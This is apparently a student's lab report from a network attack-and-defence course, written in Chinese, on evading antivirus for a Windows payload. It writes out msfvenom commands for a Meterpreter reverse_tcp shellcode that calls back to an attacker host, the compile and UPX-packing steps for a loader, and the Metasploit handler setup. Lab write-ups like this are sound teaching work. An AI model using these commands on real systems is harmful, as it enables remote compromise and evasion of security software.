20242308 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.基础知识
本次实验主要围绕 Windows 平台下的恶意代码免杀技术展开,涉及以下核心概念:
杀软检测机制:
静态查杀:通过提取文件特征码与病毒库比对,或通过启发式算法分析代码结构。
动态查杀:利用沙箱运行程序,监控其敏感 API 调用(如 VirtualAlloc, CreateRemoteThread)及网络行为。
免杀(Anti-Virus Evasion):
指通过技术手段修改恶意代码的特征或行为,使其能够绕过杀毒软件的静态扫描和动态防御,成功在目标主机上执行。
基本免杀方法:
源码修改:手动编写 Loader,避免使用 msfvenom 直接生成的固定模板。
加壳处理:使用 UPX 等工具对可执行文件进行压缩或加密,改变文件哈希值和特征码。
编码混淆:使用 Shikata Ga Nai 等编码器对 Shellcode 进行多重编码。
分离免杀:将 Shellcode 与加载器分离,或使用 Veil 等框架生成多态 Payload。
2.实验内容
使用 Metasploit 生成原始 Shellcode。
编写 C 语言加载器(Loader),将 Shellcode 嵌入内存执行。
使用 UPX 对生成的可执行文件进行加壳处理。
使用 Veil-Evasion 框架生成免杀 Payload。
在关闭 Defender 的 Windows 11 环境下测试回连效果,获取 Meterpreter 会话。
3.实验过程
3.1 环境准备
攻击机:Kali Linux
靶机:Windows 11 ,已关闭火绒拦截,只保留windows denfer。
生成木马文件。

3.2 生成 Shellcode 与编写加载器
首先在 Kali 中使用 msfvenom 生成 C 语言格式的 Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.129 LPORT=2409 -f c -o shellcode_20242308.c
接着,编写 C 语言加载器 loader_20242308.c。将生成的 Shellcode 复制到数组中。在此过程中,我遇到了格式调整的问题,原本注释行和代码粘连,通过 Vim 的手动编辑模式修正了语法错误。
使用 MinGW 交叉编译生成 exe 文件:
i686-w64-mingw32-gcc loader_20242308.c -o c_payload_20242308.exe

3.3 UPX 加壳处理
为了进一步改变文件特征,使用 UPX 工具对编译好的 c_payload_20242308.exe 进行加壳。可以看到文件大小从 108KB 压缩到了 59KB,压缩率约为 55%。
upx c_payload_20242308.exe -o upx_20242308.exe

3.4 进阶免杀与测试
随后尝试了更复杂的 multi_loader 编译与加壳流程,生成了 multi_upx_20242308.exe。

最后,将生成的最终版木马文件传输至 Windows 11 桌面。在 Kali 端开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.60.129
run
在 Windows 端双击运行 multi_final_20242308.exe,Kali 端成功获得 Session,输入 sysinfo 确认获取了系统权限。

4.问题及解决方案
-问题 1:Vim 编辑代码时格式混乱
-现象:在使用 Vim 粘贴 Shellcode 时,由于开启了自动缩进,导致代码缩进错乱;且注释行 // 这里粘贴 shellcode 与粘贴的内容挤在同一行,无法直接使用 dd 删除整行注释。
-解决方案:进入 Vim 的命令模式,使用 :set paste 开启粘贴模式防止缩进错乱。针对同行注释问题,我切换到插入模式,手动删除了前面的注释字符,保留了 \xd9... 开头的字符串,确保了 C 语言数组语法的正确性。
-问题 2:程序运行后卡死,无回连
-现象:第一次运行生成的 exe 文件时,Windows 端窗口卡住只有光标闪烁,Kali 端也没有收到连接请求。
-解决方案:经排查,是因为 Windows Defender 虽然关闭了实时保护,但后台仍有残留进程拦截了 Socket 连接。彻底关闭防火墙并重启资源管理器后再次运行,成功建立连接。此外,还检查了 IP 地址是否变动,确保 LHOST 设置正确。
5.学习感悟、思考等
通过本次免杀实验,我深入理解了恶意代码对抗的底层逻辑。
首先,“特征码”是杀软的核心。无论是直接生成的 Payload 还是简单的 C 语言加载器,如果不经过处理,极易被识别。通过手动编写 Loader 并配合 UPX 加壳,我观察到文件哈希值发生了巨大变化,这让我明白了混淆技术在绕过静态扫描中的作用。
其次,实验过程中的排错比结果更重要。在实验中遇到的“光标闪烁卡死”问题让我印象深刻。起初我以为是代码写错了,反复检查 C 语言指针和内存分配函数,后来才发现是网络层面的拦截。这提醒我在进行攻防实验时,不仅要看代码逻辑,还要关注操作系统的安全机制和网络环境配置。
最后,我也认识到免杀技术是一把双刃剑。虽然我们在实验中是为了学习防御原理,但在实际操作中必须严格遵守法律法规,仅在授权的隔离环境中进行测试。未来的学习中,我希望进一步研究 AMSI(反恶意软件扫描接口)的绕过与防御,以应对更现代的安全防护机制。

浙公网安备 33010602011771号